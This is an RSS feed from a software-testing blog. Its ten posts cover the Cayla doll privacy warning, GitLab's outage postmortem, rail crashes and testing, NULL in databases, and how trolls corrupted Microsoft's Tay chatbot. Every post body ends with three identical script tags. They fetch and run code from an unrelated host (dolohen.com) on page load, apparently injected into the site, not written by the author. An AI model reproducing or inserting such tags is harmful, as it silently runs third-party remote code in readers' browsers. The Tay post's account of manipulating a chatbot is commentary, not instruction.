<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Testing &amp; Software</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/computing/testing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Talking Dolls are Privacy Risks?</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/talking-dolls-are-privacy-risks/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/talking-dolls-are-privacy-risks/#comments</comments>
		<pubDate>Sat, 18 Feb 2017 16:59:53 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Cayla]]></category>
		<category><![CDATA[The Internet of Things]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=17746</guid>
		<description><![CDATA[Yet another reason why the so-called "Internet of Things" is a terrible idea <a href="http://www.kalyr.co.uk/weblog/computing/testing/talking-dolls-are-privacy-risks/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yet another reason why the so-called &#8220;Internet of Things&#8221; is a terrible idea. From <a href="http://www.bbc.co.uk/news/world-europe-39002142?utm_content=buffer0602d&amp;utm_medium=social&amp;utm_source=plus.google.com&amp;utm_campaign=buffer" target="_blank">BBC News</a></p>
<blockquote><p>An official watchdog in Germany has told parents to destroy a talking doll called Cayla because its smart technology can reveal personal data.</p>
<p>The warning was issued by the Federal Network Agency (Bundesnetzagentur), which oversees telecommunications.</p>
<p>Researchers say hackers can use an unsecure bluetooth device embedded in the toy to listen and talk to the child playing with it..</p></blockquote>
<p>In the not-so-distant past something like this would have been a plot device in a science-fiction novel. Nowadays it&#8217;s the sort of thing that makes writers of near-future science fiction throw up their hands in despair.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/talking-dolls-are-privacy-risks/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>GitLab&#8217;s Database Outage Postmortem</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/#comments</comments>
		<pubDate>Mon, 13 Feb 2017 14:57:03 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[GitLab]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=17734</guid>
		<description><![CDATA[This report pulls no punches, and ought to be essential reading for anyone involved in software development. <a href="http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>GitLab&#8217;s <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/" target="_blank">postmortem of the database outage of January 31</a> which resulted in significant loss of production data pulls no punches, and ought to be essential reading for anyone involved in software development. It has a lot in common with <a title="Vivarail publish report on the Kenilworth fire" href="http://www.kalyr.co.uk/weblog/railways/transport/vivarail-publish-report-on-the-kenilworth-fire/">Vivarail&#8217;s report into the Kenilworth fire</a>.</p>
<p>One element in the chain of events that led to the database crash raises eyebrows; an attempted hard-delete of the user account of a GitLab employee who had been maliciously flagged for abuse by a troll. It boggles the mind that a system would do such a thing without any human intervention. That&#8217;s either a serious coding error or some dangerously naive requirements analysis.</p>
<p>And this is especially damning.</p>
<blockquote><p><strong>Why was the backup procedure not tested on a regular basis?</strong> &#8211; Because there was no ownership, as a result nobody was responsible for testing this procedure.</p></blockquote>
<p>When some important part of a complex system hasn&#8217;t been tested thorougly enough, it&#8217;s easy to blame the testers. But the blame usually lies higher up the project management chain.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/gitlabs-database-outage-postmortem/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>How it feels to learn JavaScript in 2016</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/how-it-feels-to-learn-javascript-in-2016/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/how-it-feels-to-learn-javascript-in-2016/#comments</comments>
		<pubDate>Tue, 04 Oct 2016 21:32:17 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[asides]]></category>
		<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Javascript]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=16804</guid>
		<description><![CDATA[The hilarious How it feels to learn JavaScript in 2016 reads like an Abbott and Costello sketch. Software development should not be like this.]]></description>
				<content:encoded><![CDATA[<p>The hilarious <a href="https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f#.pwghxyakz" target="_blank">How it feels to learn JavaScript in 2016</a> reads like an Abbott and Costello sketch. Software development should not be like this.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/how-it-feels-to-learn-javascript-in-2016/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>The Importance of Good Testing Environments</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/the-importance-of-good-testing-environments/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/the-importance-of-good-testing-environments/#comments</comments>
		<pubDate>Thu, 28 Jul 2016 21:11:26 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Test Data]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=16141</guid>
		<description><![CDATA[Michael Nygard has a good blog post stating that QA Instability Implies Production Instability. <a href="http://www.kalyr.co.uk/weblog/computing/testing/the-importance-of-good-testing-environments/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.michaelnygard.com/" target="_blank">Michael Nygard</a> has a good blog post stating that <a href="http://www.michaelnygard.com/blog/2016/07/qa-instability-implies-production-instability/" target="_blank">QA Instability Implies Production Instability.</a></p>
<blockquote><p>Invariably, when I see a lot of developer effort in production support I also find an unreliable QA environment. It is both unreliable in that it is frequently not available for testing, and unreliable in the sense that the systemâ€™s behavior in QA is not a good predictor of its behavior in production.</p></blockquote>
<p>He describes a lot of the pitfalls in maintaining good enviroments, from test data getting overwritten to anonymisation of production data compromising data integrity. Knowing what needs to be done to build and support good test enviromments is an important tester skill.</p>
<p>From my experience, he&#8217;s dead right about relationship between the stability of the test environment and the number of problems that escape into production. This is especially true when it comes to things like interfaces with third-party systems. There is a lot of difference between running an instance of the third party system on one of your own servers and anly having access to a system on a remote server where you can&#8217;t change the setup or configuation data.Â  And the number of bugs did indeed reflect this.</p>
<p>Worse still, when there&#8217;s no access to the third-party system at all, and the best you can do is write a crude emulation yourself. I still have nightmares about that one&#8230;.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/the-importance-of-good-testing-environments/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Bari Train Crash and Railway Safety.</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/the-bari-train-crash-and-railway-safety/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/the-bari-train-crash-and-railway-safety/#comments</comments>
		<pubDate>Sun, 17 Jul 2016 15:57:21 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Train Crashes]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=16153</guid>
		<description><![CDATA[Overshadowed by the much greater tragedy in France just a few days later, but it raises a lot of questions about rail safety. <a href="http://www.kalyr.co.uk/weblog/computing/testing/the-bari-train-crash-and-railway-safety/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>It was overshadowed by the much greater tragedy in France just a few days later, and doesn&#8217;t give us any stock villains for three-minute-hates. But the tragic train crash in Italy, following so quickly from the very similar crash in Germany raises a lot of questions about rail safety.</p>
<p>On the RMWeb forum, which has a lot of knowledgeable people including many who work in the rail industry, the resulting discussion on signalling systems for single-track lines and how they might be improved includes <a href="http://www.rmweb.co.uk/community/index.php?/topic/112941-italy-train-crash-ten-killed-near-bari/" target="_blank">positive words for the software testing profession</a>.</p>
<blockquote><p>The system itself would be cheap, but the testing needed to demonstrate that it&#8217;s safe (and idiot proof) to the appropriate regulatory authorities is going to be quite expensive. Proper software testers(*) aren&#8217;t cheap.</p></blockquote>
<p>From what I can tell, the Italian system appears to be a variation on the Telegraph and Train Order system without the use of either a physical single-line token or a virtual equivalent, a practice long since superceded in Britain. There is a far higher risk of human error leading to a fatal accident.</p>
<p>Though there have been quite a few head-on collisions in Britain resulting from conflicting movements across junctions, including the Ladbrooke Grove disaster, I can only think of two single-line collisions in the past century, at <a href="https://en.wikipedia.org/wiki/Abermule_train_collision" target="_blank">Abermule in 1921</a> and <a href="https://en.wikipedia.org/wiki/Cowden_rail_crash" target="_blank">Cowden in 1994</a>. That&#8217;s some safety record.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/the-bari-train-crash-and-railway-safety/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Swiss Cheese at Plymouth</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/swiss-cheese-at-plymouth/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/swiss-cheese-at-plymouth/#comments</comments>
		<pubDate>Tue, 19 Apr 2016 18:50:50 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Plymouth]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15548</guid>
		<description><![CDATA[An accident can occur when all the holes in the Swiss cheese line up. <a href="http://www.kalyr.co.uk/weblog/computing/testing/swiss-cheese-at-plymouth/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="https://www.gov.uk/government/news/collision-at-plymouth-station"><img class="alignleft" alt="" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2016/04/s300_Plymouth_station.jpg" /></a>On the third of April there was a low-speed collision between two passenger trains at Plymouth station. A local train from Cornwall ran into the back of a stationary London-bound express. Though nobody was killed, thirty-five people were injured, a couple of them seriously.</p>
<p>The <a href="https://www.gov.uk/government/news/collision-at-plymouth-station" target="_blank">preliminary report</a> makes it sound like an archetypal &#8220;Swiss cheese&#8221; incident.</p>
<p>If you imagine safety represented by several layered slices of Emmental cheese; each hole in the cheese represent an opportunity for human error to creep in, but an accident can only get through when all the holes line up. The more layers of safety the better.</p>
<p>This was what seems to have happened at Plymouth.</p>
<p>The normal pattern of operation was disrupted due to scheduled maintenance on the lifts, causing trains to be diverted away from their regular platforms. The signaller wrongly estimated the amount of space in the platform behind the express, and thought the local train would fit in behind it. The driver of the local train wasn&#8217;t expecting the platform to be part-occupied by another train. And because the approach at the western end of the station is on a very sharp curve, the driver didn&#8217;t realise the express was on the same track until it was too late to stop.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/swiss-cheese-at-plymouth/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The Trolling of Tay</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/the-trolling-of-tay/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/the-trolling-of-tay/#comments</comments>
		<pubDate>Thu, 24 Mar 2016 21:25:47 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Artificial Intelligence]]></category>
		<category><![CDATA[Trolls]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15408</guid>
		<description><![CDATA[What can the testing community learn from the way trolls turned an AI bot into a massive racist? <a href="http://www.kalyr.co.uk/weblog/computing/testing/the-trolling-of-tay/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-15409" alt="Tay" src="http://www.kalyr.co.uk/weblog/wp-content/uploads/2016/03/Tay-150x150.jpg" width="150" height="150" />The story in brief: Microsoft <a href="https://twitter.com/tayandyou" target="_blank">created a self-learning chatbot</a> designed to emulate the speech of Millenials. They let her loose on Twitter, where she immediately got trolled hard by members of one of the most notorious boards of 4chan, and she turned into a massive Hitler-quoting racist. Microsoft took the bot down, and are working hard to remove the worst of her tweets. Oops.</p>
<p>Aside from obvious conclusion that there are some awful people on 4chan, what can the testing community learn from this?</p>
<p>One seems to be that if you carry out testing in a very public space, any testing failures will be very public as well. An artificial intelligence turning into a noxious racist is a pretty spectacular fail in anyone&#8217;s books. Given the well-known nature of the bottom half of Twitter, it&#8217;s also an all-too-predictable failure; people in my own Twitter feed express very little surprise over what happened. It&#8217;s not as if anyone is unaware of the trolls of 4chan and the sorts of things they do.</p>
<p>What they should have done is another question. Tay was a self-learning algorithm that merely repeated the things she&#8217;d been told, without any understanding of their social contexts or emotional meanings. She&#8217;s like a parrot that overhears too much swearing. It meant that if she fell in with bad company at the start, she&#8217;d inevitably go bad.</p>
<p>The most important lesson, perhaps, is that both software designers and testers need to consider evil. Not to be evil, of course, but to think of what evil might do, and how it might be stopped.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/the-trolling-of-tay/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Testing Blog Links</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/testing-blog-links/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/testing-blog-links/#comments</comments>
		<pubDate>Fri, 18 Mar 2016 18:36:31 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Adam Knight]]></category>
		<category><![CDATA[Keith Jarrett]]></category>
		<category><![CDATA[Mike Talks]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15331</guid>
		<description><![CDATA[I haven't blogged that much about testing of late, so here are a couple of recent links in the testing blogosphere that are well worth a read. <a href="http://www.kalyr.co.uk/weblog/computing/testing/testing-blog-links/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I haven&#8217;t blogged that much about testing of late, so here are a couple of recent links from the testing blogosphere that are well worth a read.</p>
<p>First, in response to some rather heated discussion on Twitter, a post from last year by <a href="http://www.a-sisyphean-task.com/" target="_blank">Adam Knight</a> in defence of the principle of <a href="http://www.a-sisyphean-task.com/2015/04/a-cultural-fit.html?m=1" target="_blank">hiring for cultural fit</a>. It&#8217;s a concept that comes in for a lot of justified criticism, going from rejection of well-qualified candidates for superficial reasons that have nothing to do with their ability to do the job, to the much more serious concern over bias in terms of gender and ethnicity. Adam Knight recognises those concerns, but stresses that cultural fit should be about soft skills and style of working, not stereotypes.</p>
<p>Second, the always excellentÂ  <a href="http://testsheepnz.blogspot.co.uk" target="_blank">Mike Talks</a> writes about blogging itself and asks <a href="http://testsheepnz.blogspot.co.uk/2016/03/writing-105-are-you-your-own-mary-sue.html" target="_blank">&#8220;Are you your own Mary Sue?</a>&#8220;. He users the example from the world of music; the famous KÃ¶ln concert by jazz pianist Keith Jarrett, and imagines the story of the circumstances leading up to the performance from the different perspectives of Jarrett humself, and concert organiser Vera Brandes.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/testing-blog-links/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In defence of NULL</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/in-defence-of-null/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/in-defence-of-null/#comments</comments>
		<pubDate>Tue, 08 Mar 2016 20:02:58 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>
		<category><![CDATA[Null]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=15183</guid>
		<description><![CDATA[When it comes to databases, NULL cannot be described as the worst ever mistake in the history of Computer Science. <a href="http://www.kalyr.co.uk/weblog/computing/testing/in-defence-of-null/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>There was a blog post a while ago that declared that <a href="https://www.lucidchart.com/techblog/2015/08/31/the-worst-mistake-of-computer-science/" target="_blank">NULL was the worst ever mistake in history of computer science</a>. The fact that nulls existed meant that code always has to be written to handle them, otherwise programmes would crash with Null Pointer Exceptions or their Windows equivalent Object Reference Not Set To An Instance Of This Object. Life would be easier and less error-prone if there was no such thing as NULL.</p>
<p>It may have a point when it comes to object-orientated programming languages, but when comes to databases, the suggestion that the concept of NULL is a dangerous bad idea is nonsense. The fact that some common beginners&#8217; mistakes involve a lack of understanding over how to use NULL does not change this.</p>
<p>NULL has meaning.</p>
<p>Precisely what it means is dependent on the context, but it still has meaning. Consider an End Date. What does it mean if you have no End Date? It means, perhaps, that you are still employed, or maybe even still alive. Defaulting to some arbitrary date far, far into the future in this context is nothing but an ugly kludge. You still have to write code to handle that value, and you&#8217;ve probably got a greater potential for error than if you&#8217;d just used NULL.</p>
<p>NULL has meaning.</p>
<p>Another example. Imagine a stock control system. Each stock item has a re-order level. When the stock level reaches this point it will trigger an automated re-order process.</p>
<p>Now imagine there are some stock items where you want to keep track of how many you purchase and use, but you don&#8217;t want to hold them in stock; perhaps the value is high and lead time is low, and you don&#8217;t use them frequently enough to want that much capital tied up in inventory. You will only raise purchase orders manually when you know you&#8217;re going to need the thing.</p>
<p>So most of the time the stock level is going to be zero. But you don&#8217;t want that automated re-order process to touch it. What value do you give the re-order level?</p>
<p>Now, you could set it to -1, and one stock control system I know did precisely that. But that&#8217;s still a kludge, and there are scenarios that will break it.</p>
<p>What if the stock transactions are transmitted via a mobile network that&#8217;s not 100% reliable, which means they&#8217;re not guaranteed to be real-time and may be received out of sequence? Again, I know a system that works like this. For one thing you can&#8217;t enforce a database constraint that makes sure the stock quantity never goes negative. It&#8217;s possible that you might end up with a stock level of -1 for a short period because a receipt transaction has been delayed by an electronic sargasso. Then there&#8217;s a window in which that pesky re-order process could turn up and do mischief.</p>
<p>If you&#8217;d just let the re-order level be NULL for those items you only want to re-order manually, you would not have that potential bug.</p>
<p>This is why we have NULL.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/in-defence-of-null/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Why We Test</title>
		<link>http://www.kalyr.co.uk/weblog/computing/testing/clapham-junction-rail-crash-wikipedia-the-free-encyclopedia/</link>
		<comments>http://www.kalyr.co.uk/weblog/computing/testing/clapham-junction-rail-crash-wikipedia-the-free-encyclopedia/#comments</comments>
		<pubDate>Wed, 10 Feb 2016 21:06:45 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Testing & Software]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=14746</guid>
		<description><![CDATA[This shouldn't need to be said. But there are still people out there who really ought to know better who insist, despite all evidence, that testing is not a worthwile activity. <a href="http://www.kalyr.co.uk/weblog/computing/testing/clapham-junction-rail-crash-wikipedia-the-free-encyclopedia/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In the second weekend of December 1988, there was engineering work taking place on the busy main line out of London Waterloo, part of a resignalling project. A mistake was made; a redundant section of wiring was left in place without being properly disconnected or isolated.</p>
<p>Because of this rogue piece of wire, a signal showed green when it should have showed red, at the height of the Monday morning rush hour. A packed commuter train ran past this wrongly-green signal and collided at speed with the train in front. The <a href="https://en.wikipedia.org/wiki/Clapham_Junction_rail_crash">Clapham Junction rail crash</a> killed 35 people and injured nearly 500.</p>
<p>This is why we test.</p>
<p>This shouldn&#8217;t need to be said. But there are still people out there who really ought to know better who insist, despite all evidence, that testing is not a worthwile activity.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/computing/testing/clapham-junction-rail-crash-wikipedia-the-free-encyclopedia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
